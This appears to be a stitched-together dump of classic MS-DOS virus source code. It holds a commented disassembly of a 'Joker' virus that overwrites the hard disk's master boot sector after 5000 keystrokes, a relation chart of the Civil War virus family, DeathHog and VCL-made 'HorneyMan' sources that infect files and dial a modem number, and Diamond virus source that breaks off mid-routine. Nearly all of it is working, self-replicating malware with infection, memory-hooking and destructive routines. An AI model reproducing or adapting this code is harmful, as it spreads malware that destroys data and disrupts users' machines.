0D3D 86E0 XCHG AL,AH ; swap column, row
0D3F 8ADC MOV BL,AH ; row
0D41 32E4 XOR AH,AH ; AX := row
0D43 32FF XOR BH,BH ; BX := column
0D45 B9A000 MOV CX,00A0 ; 160, length of one line
0D48 F7E1 MUL CX
0D4A D1E3 SHL BX,1 ; mulitply by 2
0D4C 03D8 ADD BX,AX
0D4E 43 INC BX ; attribute field
0D4F 58 POP AX ; restore choosen attribute
0D50 26 ES:
0D51 8807 MOV [BX],AL ; put it on the screen
; exit
0D53 59 POP CX
0D54 07 POP ES
0D55 5B POP BX
0D56 5E POP SI
0D57 5A POP DX
0D58 1F POP DS
0D59 58 POP AX
0D5A FA CLI
0D5B 2E CS:
0D5C FF2E0600 JMP FAR [0006] ; true INT 9
; Alt key is presed
0D60 E460 IN AL,60 ; read keyboard scan code
0D62 3C53 CMP AL,53 ; Del?
0D64 7407 JZ 0D6D ; yes, procede
; exit to true INT 9
0D66 1F POP DS
0D67 58 POP AX
0D68 2E CS:
0D69 FF2E0600 JMP FAR [0006]
; Alt + Del service
0D6D CD11 INT 11 ; equipment list
; again mistake! Decimaly 48 is 30 in hex
0D6F 254800 AND AX,0048 ; ??
0D72 3D4800 CMP AX,0048 ; ??
0D75 7505 JNZ 0D7C
; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved
; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K)
; so probably AX and 48 almost always will be equol 48.
0D77 B800B0 MOV AX,B000 ; monochrome
0D7A EB03 JMP 0D7F
0D7C B800B8 MOV AX,B800 ; other
0D7F 8EC0 MOV ES,AX ; initial ES to video segment
0D81 8CC8 MOV AX,CS ; restore DS
0D83 8ED8 MOV DS,AX
0D85 33FF XOR DI,DI ; clear screen location pointer
0D87 B407 MOV AH,07 ; attribute
0D89 B0B1 MOV AL,B1 ; chracter ± (177)
0D8B B9D007 MOV CX,07D0 ; size of screen
0D8E F3 REPZ
0D8F AB STOSW ; fill screen with box character
; display first part of mesage: Have you ever danced ...
0D90 BF4A06 MOV DI,064A ; offset of column 10, row 10
0D93 BE3103 MOV SI,0331 ; offset of message
0D96 AC LODSB ; get next character
0D97 2C80 SUB AL,80 ; decrypt
0D99 0AC0 OR AL,AL ; end of string?
0D9B 740D JZ 0DAA ; yes
0D9D B40F MOV AH,0F ; attribute
0D9F AB STOSW ; put on screen
0DA0 B900A0 MOV CX,A000 ; constant for pause
0DA3 050100 ADD AX,0001 ; small pause
0DA6 E2FB LOOP 0DA3
0DA8 EBEC JMP 0D96 ; disply next character
; display next message: Pray for your disk!
0DAA BF7008 MOV DI,0870 ; row 13, column 40
0DAD BE7703 MOV SI,0377
0DB0 AC LODSB
0DB1 2C80 SUB AL,80
0DB3 0AC0 OR AL,AL
0DB5 740D JZ 0DC4
0DB7 B40F MOV AH,0F
0DB9 AB STOSW
0DBA B900A0 MOV CX,A000
0DBD 050100 ADD AX,0001
0DC0 E2FB LOOP 0DBD
0DC2 EBEC JMP 0DB0
; disply third part of message, The_Jocker...
0DC4 BFB009 MOV DI,09B0 ; row 15, column 40
0DC7 BE8B03 MOV SI,038B
0DCA AC LODSB
0DCB 2C80 SUB AL,80 ; decrypt
0DCD 0AC0 OR AL,AL ; end of string?
0DCF 740D JZ 0DDE ; yes
0DD1 B40F MOV AH,0F ; attribute
0DD3 AB STOSW
0DD4 B900A0 MOV CX,A000 ; time constant
0DD7 050100 ADD AX,0001 ; small pause
0DDA E2FB LOOP 0DD7
0DDC EBEC JMP 0DCA ; get next character
; diplay the rest: Ha Ha Ha ...
0DDE BA1E00 MOV DX,001E ; starting column (15)
0DE1 B90A00 MOV CX,000A ; counter
0DE4 51 PUSH CX
0DE5 BF400B MOV DI,0B40 ; row 18, column 1
0DE8 52 PUSH DX
0DE9 D1E2 SHL DX,1 ; DX := 3C
0DEB 03FA ADD DI,DX ; move coursor 30 characters right
0DED 5A POP DX
0DEE BE2D03 MOV SI,032D ; offset of 'Ha ',0
0DF1 AC LODSB ; get next character
0DF2 2C80 SUB AL,80 ; decrypt
0DF4 0AC0 OR AL,AL ; end of string
0DF6 740D JZ 0E05 ; yes
0DF8 B40F MOV AH,0F ; attribute
0DFA AB STOSW ; display
0DFB B900A0 MOV CX,A000 ; time constant
0DFE 050100 ADD AX,0001 ; small pause
0E01 E2FB LOOP 0DFE
0E03 EBEC JMP 0DF1 ; get next character
0E05 83C203 ADD DX,+03 ; move cursor 3 positions right
0E08 59 POP CX ; restore counter
0E09 E2D9 LOOP 0DE4
0E0B B020 MOV AL,20 ; enable hardware interrupts
0E0D E620 OUT 20,AL
0E0F 2E CS:
0E10 813E20008813 CMP WORD PTR [0020],1388 ; 5000 keystrokes
0E16 7305 JAE 0E1D ; perform destruction
0E18 EAF0FF00F0 JMP F000:FFF0 ; cold reset
0E1D B80000 MOV AX,0000 ; reset disk
0E20 CD13 INT 13
; overwrite Master Boot Sector of first hard drive
0E22 B80103 MOV AX,0301 ; write one sector
0E25 33C9 XOR CX,CX
0E27 41 INC CX ; track 0, sector 1
0E28 33D2 XOR DX,DX ; head 0
0E2A B280 MOV DL,80 ; first hard drive
0E2C CD13 INT 13
; after destruction computer will crush trying execute working area bytes
;--------------
; working area
0E2E 09 0A 0B 0C 0D 0E ; [0325],... set of attributes to put onto screen
0E34 26 03 ; counter, points at one out of six above bytes
; encrypted ASCIIZ strings (to any character 80h is added)
0E36 C8 E1 A0 80 ; encrypted 'Ha ',0
0E3A C8 E1 F6 E5 A0 F9 Have y
0E40 EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7 ou ever danced w
0E50 E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE ith the devil un
0E60 E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7 der the weak lig
0E70 E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80 ht of the moon?.
0E80 D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9 Pray for your di
0E90 F3 EB A1 80 sk!.
0E94 D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80 The_Joker....
0EA1 44 72 6B ; signature of virus resident part: 'Drk'
;-----------------------------
; new INT 21h handler
0EA4 9C PUSHF
0EA5 3D004B CMP AX,4B00 ; Load and execute
0EA8 7420 JZ 0ECA
0EAA 80FC49 CMP AH,49 ; free allocated memory
0EAD 7403 JZ 0EB2
0EAF EB13 JMP 0EC4 ; exit to old INT 21h
0EB1 90 NOP
; free allocated memory service
0EB2 50 PUSH AX
0EB3 53 PUSH BX
0EB4 8CC8 MOV AX,CS ; compare requested block with
0EB6 8CC3 MOV BX,ES ; block actualy ocupied by virus
0EB8 3BD8 CMP BX,AX
0EBA 5B POP BX
0EBB 58 POP AX
0EBC 7506 JNZ 0EC4 ; blocks are different, exit
0EBE F8 CLC ; clear carry (no error!)
0EBF 8CC0 MOV AX,ES ; put own segment into AX
0EC1 CA0200 RETF 0002
; exit to old INT 21h
0EC4 9D POPF
0EC5 2E CS:
0EC6 FF2E0200 JMP FAR [0002]
; load and execute service
0ECA 55 PUSH BP
0ECB 50 PUSH AX
0ECC 53 PUSH BX
0ECD 51 PUSH CX
0ECE 52 PUSH DX
0ECF 1E PUSH DS
0ED0 06 PUSH ES
0ED1 56 PUSH SI
0ED2 57 PUSH DI
0ED3 FC CLD
0ED4 8BF2 MOV SI,DX ; ASCIIZ file name
0ED6 AC LODSB ; find end of file name
0ED7 0AC0 OR AL,AL ; end of string?
0ED9 7402 JZ 0EDD ; yes
0EDB EBF9 JMP 0ED6 ; get next character
0EDD 83EE04 SUB SI,+04 ; point at first char of extension
0EE0 803C43 CMP BYTE PTR [SI],43 ; 'C' is it COM file
0EE3 7502 JNZ 0EE7 ; maybe lower case?
0EE5 7405 JZ 0EEC ; infect
0EE7 803C63 CMP BYTE PTR [SI],63 ; 'c'
0EEA 752B JNZ 0F17 ; exit
; prepare infection
0EEC B42F MOV AH,2F ; get DTA
0EEE CD21 INT 21
0EF0 06 PUSH ES
0EF1 53 PUSH BX
0EF2 52 PUSH DX
0EF3 1E PUSH DS
0EF4 0E PUSH CS
0EF5 1F POP DS
0EF6 BA8000 MOV DX,0080 ; offset of local DTA
0EF9 B41A MOV AH,1A ; set DTA
0EFB CD21 INT 21
; get date of loaded file into local DTA
0EFD 1F POP DS
0EFE 5A POP DX ; offset of file name
0EFF B44E MOV AH,4E ; find first
0F01 B92300 MOV CX,0023 ; attributes: Subdir, Hiden, Read Only
0F04 CD21 INT 21
0F06 8CC8 MOV AX,CS
0F08 8ED8 MOV DS,AX
0F0A 8B360000 MOV SI,[0000]
0F0E E81500 CALL 0F26 ; infect file
0F11 5A POP DX
0F12 1F POP DS
0F13 B41A MOV AH,1A ; restore DTA
0F15 CD21 INT 21
0F17 5F POP DI
0F18 5E POP SI
0F19 07 POP ES
0F1A 1F POP DS
0F1B 5A POP DX
0F1C 59 POP CX
0F1D 5B POP BX
0F1E 58 POP AX
0F1F 5D POP BP
0F20 9D POPF
0F21 2E CS:
0F22 FF2E0200 JMP FAR [0002] ; exit to old INT 21h
;-------------
; infect file
0F26 33C9 XOR CX,CX ; clear all attributes
0F28 B80143 MOV AX,4301 ; set attributes
0F2B BA9E00 MOV DX,009E ; fille name (in carrier DTA!)
0F2E 33C9 XOR CX,CX ; ?? again ??
0F30 CD21 INT 21
0F32 B8023D MOV AX,3D02 ; open file for read/write
0F35 BA9E00 MOV DX,009E ; file name
0F38 CD21 INT 21
0F3A 8BD8 MOV BX,AX ; store handle
0F3C 7301 JAE 0F3F ; no error
0F3E C3 RET
0F3F B43F MOV AH,3F ; read file
0F41 B90300 MOV CX,0003 ; 3 bytes
0F44 8BD6 MOV DX,SI ; virus base
0F46 81C2A703 ADD DX,03A7 ; buffer for oryginal 3 bytes
0F4A CD21 INT 21
0F4C 7305 JAE 0F53 ; no error
0F4E B43E MOV AH,3E ; close file
0F50 CD21 INT 21
0F52 C3 RET
0F53 B80042 MOV AX,4200 ; move file pointer
0F56 33C9 XOR CX,CX ; at the beginning
0F58 8BD1 MOV DX,CX ; of file
0F5A CD21 INT 21
0F5C A19A00 MOV AX,[009A] ; get file length
0F5F 2D0300 SUB AX,0003 ; sub first 3 bytes
0F62 2E CS:
0F63 8984AB03 MOV [SI+03AB],AX ; size of block to write
0F67 8BD6 MOV DX,SI
0F69 81C2AA03 ADD DX,03AA
0F6D B440 MOV AH,40 ; write to file
0F6F B90300 MOV CX,0003 ; new first 3 bytes
0F72 CD21 INT 21
0F74 7302 JAE 0F78 ; continue
0F76 EBD6 JMP 0F4E ; error, exit
0F78 B80242 MOV AX,4202 ; move file pointer
0F7B 33C9 XOR CX,CX ; at the end
0F7D 8BD1 MOV DX,CX ; of file
0F7F CD21 INT 21
0F81 B440 MOV AH,40 ; write file
0F83 B9AD03 MOV CX,03AD ; number of bytes (941)
0F86 8BD6 MOV DX,SI ; address of virus first byte
0F88 CD21 INT 21
0F8A B43E MOV AH,3E ; close file
0F8C CD21 INT 21
0F8E C3 RET
;----------------------------------------------
; find file in current directory and infect it
0F8F B44E MOV AH,4E ; find first
0F91 B92300 MOV CX,0023 ; attributes: Archive, Hiden, Read Only
0F94 8BD6 MOV DX,SI
0F96 81C2A103 ADD DX,03A1 ; file name: *.COM
0F9A CD21 INT 21
0F9C 7303 JAE 0FA1 ; infect
0F9E EB0C JMP 0FAC ; RET
0FA0 90 NOP
0FA1 E882FF CALL 0F26 ; infect
0FA4 B44F MOV AH,4F ; find next
0FA6 CD21 INT 21
0FA8 7202 JB 0FAC ; RET
0FAA EBF5 JMP 0FA1 ; infect
0FAC C3 RET
0FAD 2A 2E 63 6F 6D 00 ; *.COM, 0
0FB3 E9 5C 07 ; oryginal 3 bytes of carrier COM file
; end of infected file
;----------------------
@@ -0,0 +1,67 @@
Relationchart of the Civil War and related viruses, (c) 1993 by TridenT.
Below you find the relation chart of the Civil War based viruses.
This is the only correct relationchart, don't trust the
information you may find in VSUM, F-Prot etc. or the CARO naming
because they contains a lot of errors
Greetings, DH / TridenT
------------------------------------------------------------------------------
Civil War
|
+--> Civil War II v1.0 --> Proto-T --> Lockjaw Eins
| | |
| | +--> Lockjaw Zwei
| | |
| | +--> Lockjaw Drei
| |
| +--> Civil War II v1.1 --> Civil War III
| |
| +--> Civil War V
|
+--> Civil War IV v1.0
|
+--> Civil War IV v1.1
|
+-> Civil War IV v1.2
|
+--> Civil War IV v1.3
Original Name CARO Name
------------------------------------------------------------------------------
Civil War Civil War
Civil War II v1.0 Proto-T.Civil_War_II
Civil War II v1.1 -
Civil War III -
Civil War IV v1.0 TPE_1_3.Civil_War.A
Civil War IV v1.1 TPE_1_3.Civil_War.B
Civil War IV v1.2 -
Civil War IV v1.3 -
Civil War V TPE_1_3.Civil_War.C
------------------------------------------------------------------------------
R C E P
--------
Civil War . x . .
Civil War II v1.0 x x . .
Civil War II v1.1 x x . .
Civil War III x x x .
Civil War IV v1.0 . x . x
Civil War IV v1.1 . x . x
Civil War IV v1.1 . x . x
Civil War IV v1.2 . x . x
Civil War IV v1.3 . x . x
Civil War V x x . x
Code : R = Resident
C = Infect COM files
E = Infect EXE files
P = Polymorpic
@@ -0,0 +1,64 @@
; DeathHog, (will defeat read-only files and appends itself to all
; files)
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
; r/w access, nuisance routines supplied by KOUCH
;
; Appended by Kouch, derived from DeathCow/Define (author unknown)
virus_length equ finish - start
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
mov ah,04Eh ; DOS find first file function
mov dx,offset file_spec ; DX points to "*.*" - any file
int 021h
infect_file : mov ah,43H ;the beginning of this
mov al,0 ;routine gets the file's
mov dx,09Eh ;attribute and changes it
int 21H ;to r/w access so that when
;it comes time to open the
mov ah,43H ;file, the virus can easily
mov al,1 ;defeat files with a 'read only'
mov dx,09Eh ;attribute. It leaves the file r/w,
mov cl,0 ;because who checks that, anyway?
int 21H
mov ax,03D01h ; DOS open file function, write-only
mov dx,09Eh ; DX points to the found file
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cl,virus_length ; CL holds # of bytes to write
mov dx,offset main ; DX points to start of code
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc infect_file ; Infect next file, if found
mov ah,31h ;insert 480K memory balloon
mov dx,7530h ;for nuisance value
int 21H ;it's big enough so 'out of
;memory' messages will start cropping up quickly
; RETurn to DOS
file_spec db "*.*",0 ; Files to infect: apped to all files
main endp
finish label near
code ends
end main
+319
View File
@@ -0,0 +1,319 @@
; DIAL.ASM -- HorneyMan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Frankenchrist
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
mov cx,0004h ; Do 4 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_hour
cmp ax,0004h ; Did the function return 4?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
xor dx,dx ; Clear DX
call serial_string
lea si,[di + data01] ; SI points to data
mov dx,0001h ; Second argument is 1
call serial_string
lea si,[di + data02] ; SI points to data
mov dx,0002h ; Second argument is 2
call serial_string
lea si,[di + data03] ; SI points to data
mov dx,0003h ; Second argument is 3
call serial_string
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + start] ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
serial_string proc near
mov ax,0000000001000011b ; BIOS init. serial port
int 014h ; (300 baud, N, 8, 1)
serial_loop: mov ah,1 ; BIOS send character function
lodsb ; Load next character into AL
or al,al ; Is it a NULL?
je serial_done ; If so then exit
int 014h ; Transmit the character
jmp short serial_loop ; Loop until string terminates
serial_done:
ret ; Return to caller
serial_string endp
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
data00 db "AT&FM0L0DT19008201110",13,10,0
data01 db "AT&FM0L0DT19008201110",13,10,0
data02 db "AT&FM0L0DT19008201110",13,10,0
data03 db "AT&FM0L0DT19008201110",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
finish label near
code ends
end main
@@ -0,0 +1,534 @@
; The Diamond Virus
;
; Version 2.10
;
; also known as:
; V1024, V651, The EGN Virus
;
; Basic release: 5-Aug-1989
; Last patch: 5-May-1990
;
; COPYRIGHT:
;
; This program is (c) Copyright 1989,1990 Damage, Inc.
; Permission is granted to distribute this source provided the tittle page is
; preserved.
; Any fee can be charged for distribution of this source, however, Damage, Inc.
; distributes it freely.
; You are specially prohibited to use this program for military purposes.
; Damage, Inc. is not liable for any kind of damages resulting from the use of
; or the inability to use this software.
;
; To assemble this program use Turbo Assembler 1.0
.radix 16
.model tiny
.code
code_len = top_code-main_entry
data_len = top_data-top_code
main_entry:
call locate_address
gen_count dw 0
locate_address:
xchg ax,bp
cld
pop bx
inc word ptr cs:[bx]
mov ax,0d5aa
int 21
cmp ax,2a03
jz all_done
mov ax,sp
inc ax
mov cl,4
shr ax,cl
inc ax
mov dx,ss
add ax,dx
mov dx,ds
dec dx
mov es,dx
xor di,di
mov cx,(top_data-main_entry-1)/10+1
mov dx,[di+2]
sub dx,cx
cmp dx,ax
jc all_done
cli
sub es:[di+3],cx
mov [di+2],dx
mov es,dx
lea si,[bx+main_entry-gen_count]
mov cx,top_code-main_entry
rep
db 2e
movsb
push ds
mov ds,cx
mov si,20
lea di,[di+old_vector-top_code]
org $-1
mov ax,offset dos_handler
xchg ax,[si+64]
stosw
mov ax,es
xchg ax,[si+66]
stosw
mov ax,offset time_handler
xchg ax,[si]
stosw
xchg ax,dx
xchg ax,[si+2]
stosw
mov ax,24
stosw
pop ds
push ds
pop es
sti
all_done:
lea si,[bx+exe_header-gen_count]
db 2e
lodsw
cmp ax,'ZM'
jz exit_exe
mov di,100
push di
stosw
movsb
xchg ax,bp
ret
exit_exe:
mov dx,ds
add dx,10
add cs:[si+return_address+2-exe_header-2],dx
org $-1
add dx,cs:[si+stack_offset+2-exe_header-2]
org $-1
mov ss,dx
mov sp,cs:[si+stack_offset-exe_header-2]
org $-1
xchg ax,bp
jmp dword ptr cs:[si+return_address-exe_header-2]
org $-1
infect:
mov dx,offset exe_header
mov cx,top_header-exe_header
mov ah,3f
int 21
jc do_exit
sub cx,ax
jnz go_error
mov di,offset exe_header
les ax,[di+ss_offset-exe_header]
org $-1
mov [di+stack_offset-exe_header],es
org $-1
mov [di+stack_offset+2-exe_header],ax
org $-1
les ax,[di+ip_offset-exe_header]
org $-1
mov [di+return_address-exe_header],ax
org $-1
mov [di+return_address+2-exe_header],es
org $-1
mov dx,cx
mov ax,4202
int 21
jc do_exit
mov [di+file_size-exe_header],ax
org $-1
mov [di+file_size+2-exe_header],dx
org $-1
mov cx,code_len
cmp ax,cx
sbb dx,0
jc do_exit
xor dx,dx
mov si,'ZM'
cmp si,[di]
jz do_put_image
cmp [di],'MZ'
jz do_put_image
cmp ax,0fe00-code_len
jc put_image
go_error:
stc
do_exit:
ret
do_put_image:
cmp dx,[di+max_size-exe_header]
org $-1
jz go_error
mov [di],si
put_image:
mov ah,40
int 21
jc do_exit
sub cx,ax
jnz go_error
mov dx,cx
mov ax,4200
int 21
jc do_exit
mov ax,[di+file_size-exe_header]
org $-1
cmp [di],'ZM'
jnz com_file
mov dx,[di+file_size-exe_header+2]
org $-1
mov cx,4
push di
mov si,[di+header_size-exe_header]
org $-1
xor di,di
shift_size:
shl si,1
rcl di,1
loop shift_size
sub ax,si
sbb dx,di
pop di
mov cl,0c
shl dx,cl
mov [di+ip_offset-exe_header],ax
org $-1
mov [di+cs_offset-exe_header],dx
org $-1
add dx,(code_len+data_len+100-1)/10+1
org $-1
mov [di+sp_offset-exe_header],ax
org $-1
mov [di+ss_offset-exe_header],dx
org $-1
add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
org $-2
mov ax,[di+min_size-exe_header]
org $-1
cmp ax,[di+max_size-exe_header]
org $-1
jc adjust_size
mov [di+max_size-exe_header],ax
org $-1
adjust_size:
mov ax,[di+last_page-exe_header]
org $-1
add ax,code_len
push ax
and ah,1
mov [di+last_page-exe_header],ax
org $-1
pop ax
mov cl,9
shr ax,cl
add [di+page_count-exe_header],ax
org $-1
jmp short put_header
com_file:
sub ax,3
mov byte ptr [di],0e9
mov [di+1],ax
put_header:
mov dx,offset exe_header
mov cx,top_header-exe_header
mov ah,40
int 21
jc error
cmp ax,cx
jz reset
error:
stc
reset:
ret
find_file:
pushf
push cs
call calldos
test al,al
jnz cant_find
push ax
push bx
push es
mov ah,51
int 21
mov es,bx
cmp bx,es:[16]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2f
int 21
pop ax
inc al
jnz fcb_standard
add bx,7
fcb_standard:
mov ax,es:[bx+17]
and ax,1f
xor al,1e
jnz not_infected
and byte ptr es:[bx+17],0e0
sub es:[bx+1dh],code_len
sbb es:[bx+1f],ax
not_infected:
pop es
pop bx
pop ax
cant_find:
iret
dos_handler:
cmp ah,4bh
jz exec
cmp ah,11
jz find_file
cmp ah,12
jz find_file
cmp ax,0d5aa
jnz calldos
not ax
fail:
mov al,3
iret
exec:
cmp al,2
jnc calldos
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
mov ax,3524
int 21
push es
push bx
mov ah,25
push ax
push ds
push dx
push cs
pop ds
mov dx,offset fail
int 21
pop dx
pop ds
mov ax,4300
int 21
jc exit
test cl,1
jz open
dec cx
mov ax,4301
int 21
open:
mov ax,3d02
int 21
jc exit
xchg ax,bx
mov ax,5700
int 21
jc close
mov al,cl
or cl,1f
dec cx
xor al,cl
jz close
push cs
pop ds
push cx
push dx
call infect
pop dx
pop cx
jc close
mov ax,5701
int 21
close:
mov ah,3e
int 21
exit:
pop ax
pop dx
pop ds
int 21
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
calldos:
jmp cs:[old_vector]
.radix 10
adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
dw 2480,2482,2640
diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
dw 324
valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
dw 2820,2820,2308
xlatbl dw -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
dw -316,324,-156,164
.radix 16
time_handler:
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
pop ds
cld
mov dx,3da
mov cx,19
mov si,offset count
mov ax,[si]
test ah,ah
jnz make_move
mov al,ah
mov es,ax
cmp al,es:[46dh]
jnz exit_timer
mov ah,0f
int 10
cmp al,2
jz init_diamond
cmp al,3
jnz exit_timer
init_diamond:
inc byte ptr [si+1]
sub bl,bl
add bh,0b8
mov [si+2],bx
mov es,bx
wait_snow:
in al,dx
test al,8
jz wait_snow
mov si,offset valtbl
build_diamond:
mov di,[si+adrtbl-valtbl]
movsw
loop build_diamond
exit_timer:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
jmp cs:[old_timer]
count_down:
dec byte ptr [si]
jmp exit_timer
make_move:
test al,al
